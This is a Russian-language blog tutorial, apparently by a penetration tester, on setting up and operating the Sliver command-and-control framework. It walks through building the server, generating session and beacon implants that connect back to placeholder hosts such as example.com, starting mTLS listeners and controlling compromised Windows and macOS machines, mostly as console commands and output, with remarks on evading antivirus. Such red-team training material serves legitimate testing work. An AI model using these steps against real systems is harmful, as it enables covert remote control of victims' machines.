May 26, 2023

C2 ДЛЯ ПРОЕКТНОЙ ДЕЯТЕЛЬНОСТИ

Для чего нужен сервер командного управления С2?

Структура командования и управления (C2) позволяет злоумышленникам в полной мере использовать существующий доступ к компьютерным системам или сетям.

Виды С2:

Рекомендую к прочтению классную статью с хакера: https://xakep.ru/2019/10/18/post-exploitation-frameworks/

Но мы будем рассматривать с вами то, что можно использовать на проектах в РФ, а именно Sliver (фреймворк с открытым исходным кодом, который не требует лицензии в отличии от Cobalt Strike)

БАЗА:

  • Implant - общий термин для программного обеспечения, используемого для поддержания доступа к атакуемой системе. Термин "имплантат" часто взаимозаменяем с синонимом "агент".
  • Beacon - это имплант, который создает отстуки на сервер управления через определенный интервал времени.
  • Stage - "поэтапная полезная нагрузка" - это метод загрузки фрагмента кода, обычно по сети, на удаленный компьютер. Традиционно постановка использовалась в сочетании с эксплойтами, которые имели ограничения по размеру. Как правило, цель состоит в том, чтобы выполнить небольшой фрагмент кода, то есть "stager", который, в свою очередь, загружает больший фрагмент кода. Поэтапные полезные нагрузки до сих пор используются таким образом, однако они также часто полезны для обхода обнаружения антивирусов, так как большая часть вредоносного кода загружается непосредственно в память.

Установка:

Качаем с репозитория GitHub:

git clone https://github.com/BishopFox/sliver.git

Ставим go на систему и собираем проект:

sudo apt install gccgo-go

sudo apt install golang-go

sudo make -f Makefile

Соответственно папочку Client оставляем у себя на боевой тачке, а Server переносим на удаленный сервер с белым IP (Дополнительные настройки для скрытия сервера не описываю, тема отдельной статьи).

Работа с Sliver

Генерация имплантатов:

Генерация имплантатов осуществляется с помощью команды generate, вы должны указать хотя бы одну конечную точку C2 с помощью --mtls, --wg, --http или --dns. Обратите внимание, что когда имплантат пытается подключиться к конечной точке, указанной с помощью --http, он попробует сначала HTTPS, а затем HTTP (если HTTPS не удастся). Рекомендуется использовать mTLS (--mtls) или WireGuard (--wg), когда это возможно. Вы также можете указать выходной каталог с помощью --save, по умолчанию имплантат будет сохранен в текущий рабочий каталог.

Режим сеанса:

[server] sliver > generate --mtls example.com --save /Users/r00t_owl/Desktop

[*] Generating new windows/amd64 Sliver binary
[*] Build completed in 00:00:16
[*] Sliver binary saved to: /Users/r00t_owl/Desktop/NEW_GRAPE.exe

Режим маяка:

[server] sliver > generate beacon --mtls example.com --save /Users/r00t_owl/Desktop

[*] Generating new windows/amd64 beacon implant binary (1m0s)
[*] Symbol obfuscation is enabled
[*] Build completed in 00:00:27
[*] Implant saved to /Users/r00t_owl/Desktop/FINE_SENTENCE.exe

Имплантаты Sliver кроссплатформенны, вы можете изменить нагрузку под ОС цели с помощью флага --os. Команда generate info также оценит, какие цели компилятора могут быть использованы на основе операционной системы сервера и доступных кросс-компиляторов.

Некоторые команды/функции могут не работать на "Неподдерживаемых" платформах.

sliver > generate --mtls example.com --save /Users/r00t_owl/Desktop --os mac

[*] Generating new darwin/amd64 Sliver binary
[*] Build completed in 00:00:09
[*] Sliver binary saved to: /Users/r00t_owl/Desktop/PROPER_ANTHONY

Сервер также присвоит имена каждому сгенерированному двоичному файлу, например, NEW_GRAPE.exe. Вы можете переименовать файл во что угодно, но эти кодовые имена все равно будут однозначно идентифицировать сгенерированный двоичный файл (они вставляются во время компиляции). Вы также можете просмотреть все ранее сгенерированные двоичные файлы имплантатов с помощью команды implants:

sliver > implants

Name                    OS/Arch        Debug  Format
====                    =======        =====  ======
CAUTIOUS_PANPIPE        darwin/amd64   false  EXECUTABLE
LATE_SUBCOMPONENT       windows/amd64  false  SHARED_LIB
RUBBER_PRINTER          windows/amd64  true   SHARED_LIB
RACIAL_SPECTACLES       darwin/amd64   false  EXECUTABLE
MATHEMATICAL_SASH       darwin/amd64   true   SHARED_LIB
MUSHY_TRADITIONALISM    windows/amd64  false  SHARED_LIB
SICK_SPY                darwin/amd64   false  EXECUTABLE

Если вам нужно повторно загрузить ранее сгенерированный имплантат, используйте команду regenerate, обратите внимание, что позиционные аргументы (имя имплантата) приходят после флагов команды (например, --save):

sliver > regenerate --save /Users/r00t_owl/Desktop NEW_GRAPE

[*] Sliver binary saved to: /Users/r00t_owl/Desktop/NEW_GRAPE.exe

Получение Shell:

Прежде чем запустить оболочку, сначала нужно запустить слушателя. Вы используете команды mtls, http, https и dns для запуска слушателей для каждого протокола (помните, что конечные точки, указанные с помощью --http, могут подключаться к слушателю https). Вы можете использовать команду jobs для просмотра и управления слушателями, работающими в фоновом режиме. Слушатели поддерживают как сессии, так и обратные вызовы маяков:

sliver > mtls

[*] Starting mTLS listener ...
[*] Successfully started job #1

sliver > jobs

ID  Name  Protocol  Port
==  ====  ========  ====
1   mTLS  tcp       8888

В этом примере мы используем Mutual TLS, необходимые сертификаты для настройки и защиты этого соединения уже были созданы в фоновом режиме, и пара клиентских сертификатов была встроена в имплантат во время компиляции. Таким образом, чтобы получить оболочку, вам просто нужно запустить двоичный файл на цели.

Взаимодействие с сеансами:

Команда use заполнит идентификаторы сессий и маяков с помощью табуляции, но вы также можете ввести их (префиксы идентификаторов принимаются). Кроме того, выполнение команды use без аргументов вызовет интерактивное меню для выбора.

[*] Session 8ff2ce4c LONG_DRAMATURGE - [::1]:57154 (MacBook-Pro-6.local) - darwin/amd64 - Thu, 20 Jan 2022 15:45:10 CST

sliver > use 8ff2ce4c

[*] Active session LONG_DRAMATURGE (8ff2ce4c-9c66-4cbc-b33c-2a56196536e6)

sliver (LONG_DRAMATURGE) > ls

/Users/moloch/Desktop
=====================
.DS_Store                 6.0 KiB
.localized                0 B
LONG_DRAMATURGE           6.3 MiB

Если у вас возникли проблемы с получением обратных вызовов, обратитесь к руководству по устранению неполадок (добавьте флаг --debug при генерации имплантата).

Взаимодействие с маяками:

После первоначального выполнения маяк зарегистрируется на сервере C2 и появится под beacons, каждый экземпляр процесса маяка получит свой собственный идентификатор, и этот идентификатор используется в течение всего срока действия этого процесса (т.е. при повторном согласовании ключа и т. д.). Значение "Next Check-In" включает в себя отбивку (по умолчанию до 30 с), и вы также можете смотреть свои маяки в режиме реального времени с помощью команды beacons watch. Не забудьте использовать полную вкладку для uuid при использовании:

[*] Beacon 8c465643 RELATIVE_ADVERTISEMENT - 192.168.1.178:54701 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2023 10:10:11 CST

[server] sliver > beacons

 ID         Name                     Tasks   Transport   Remote Address        Hostname          Username                        Operating System   Last Check-In    Next Check-In 
========== ======================== ======= =========== ===================== ================= =============================== ================== ================ ===============
 8c465643   RELATIVE_ADVERTISEMENT   0/0     mtls        192.168.1.178:54701   WIN-1TT1Q345B37   WIN-1TT1Q345B37\Administrator   windows/amd64      49.385459s ago   37.614549s 

[server] sliver > use 8c465643-0e65-45f2-bb7e-acb3480de3cb

[*] Active beacon RELATIVE_ADVERTISEMENT (8c465643-0e65-45f2-bb7e-acb3480de3cb)

[server] sliver (RELATIVE_ADVERTISEMENT) >

Вы должны увидеть синюю подсказку, указывающую на то, что мы взаимодействуем с маяком, а не с сеансом (красный цвет). Команды выполняются так же, как и в сеансе, хотя не все команды поддерживаются в режиме маяка.

[server] sliver (RELATIVE_ADVERTISEMENT) > ls

[*] Tasked beacon RELATIVE_ADVERTISEMENT (962978a6)

[+] RELATIVE_ADVERTISEMENT completed task 962978a6

C:\git
======
drwxrwxrwx  a                           <dir>     Wed Dec 22 15:34:56 -0600 2021
...

Задания будут выполняться в порядке их создания (FIFO).

⚠️ ВАЖНО: Результаты выполнения заданий будут блокироваться до тех пор, пока не завершатся все задания, которые были частью одного и того же "пакета заданий". Если у вас есть одна краткосрочная и одна долгосрочная задачи, выполняемые как часть одной и того же пакета заданий, результаты краткосрочной задачи будут ожидать результатов долгосрочной задачи. Рассмотрите возможность выполнения длительно выполняющихся задач в отдельном интервале. Это относится и к задачам, назначенным несколькими операторами, поскольку имплант не "знает" о нескольких операторах.

Вы можете просмотреть предыдущие задания, выполненные активным маяком, используя команду tasks:

[server] sliver (RELATIVE_ADVERTISEMENT) > tasks 

 ID         State       Message Type   Created                         Sent                            Completed                     
========== =========== ============== =============================== =============================== ===============================
 90294ad2   completed   Ls             Sat, 22 Jan 2022 14:45:00 CST   Sat, 22 Jan 2022 14:45:11 CST   Sat, 22 Jan 2022 14:45:11 CST 
 962978a6   completed   Ls             Sat, 22 Jan 2022 14:42:43 CST   Sat, 22 Jan 2022 14:43:53 CST   Sat, 22 Jan 2022 14:43:53 CST 

Вы можете получить старый вывод из задания, используя команду tasks fetch и выбрав задание, вывод из которого вы хотите увидеть. Операторы в многопользовательском режиме могут получать результаты из заданий, выданных любым другим оператором на сервере. Однако операторы будут видеть автоматические результаты только тех заданий, которые они сами выполнили. Вы можете отключить автоматическое отображение результатов заданий с помощью команды настроек.

Переключение из режима маяка в режим сеанса:

Вы можете использовать команду interactive для задания маяку открыть интерактивный сеанс, без аргументов будет использоваться текущий канал C2:

[server] sliver (RELATIVE_ADVERTISEMENT) > interactive 

[*] Using beacon's active C2 endpoint: mtls://192.168.1.150:8888
[*] Tasked beacon RELATIVE_ADVERTISEMENT (3920e899)

[*] Session 223fac7e RELATIVE_ADVERTISEMENT - 192.168.1.178:54733 (WIN-1TT1Q345B37) - windows/amd64 - Sat, 22 Jan 2022 14:55:24 CST

⚠️ ВАЖНО: Вы можете открывать интерактивные сессии только по тем протоколам C2, которые были скомпилированы в бинарном файле. Например, если вы изначально не скомпилировали имплант с параметром --http, вы не сможете открыть интерактивную сессию по протоколу HTTP. Однако вы можете указать альтернативные конечные точки (например, редиректор на другом домене) с помощью флагов команды interactive.

Когда вы закончите использовать интерактивную сессию, используйте команду close, чтобы закрыть интерактивную сессию, не убивая имплантат; маяк будет продолжать выполнять контрольные заходы, пока открыта интерактивная сессия.

Несколько доменов/протоколов:

Вы можете указать несколько доменов и протоколов в процессе генерации.

По умолчанию Sliver будет пытаться использовать стратегию последовательного подключения: сначала используются наиболее производительные протоколы (MTLS -> WG -> HTTP(S) -> DNS), возвращаясь к последующим доменам/протоколам, если/когда соединения не работают.

sliver > generate --mtls example.com --http foobar.com --dns 1.lil-peep.rip

Вы можете изменить стратегию подключения во время компиляции с помощью флага --strategy. Например, вы можете дать команду имплантату r произвольно подключаться к любой указанной конечной точке C2:

sliver > generate --mtls foo.com,bar.com,baz.com --strategy r

Еще больше интересных статей в моем ТГ канале: https://t.me/pro_pentest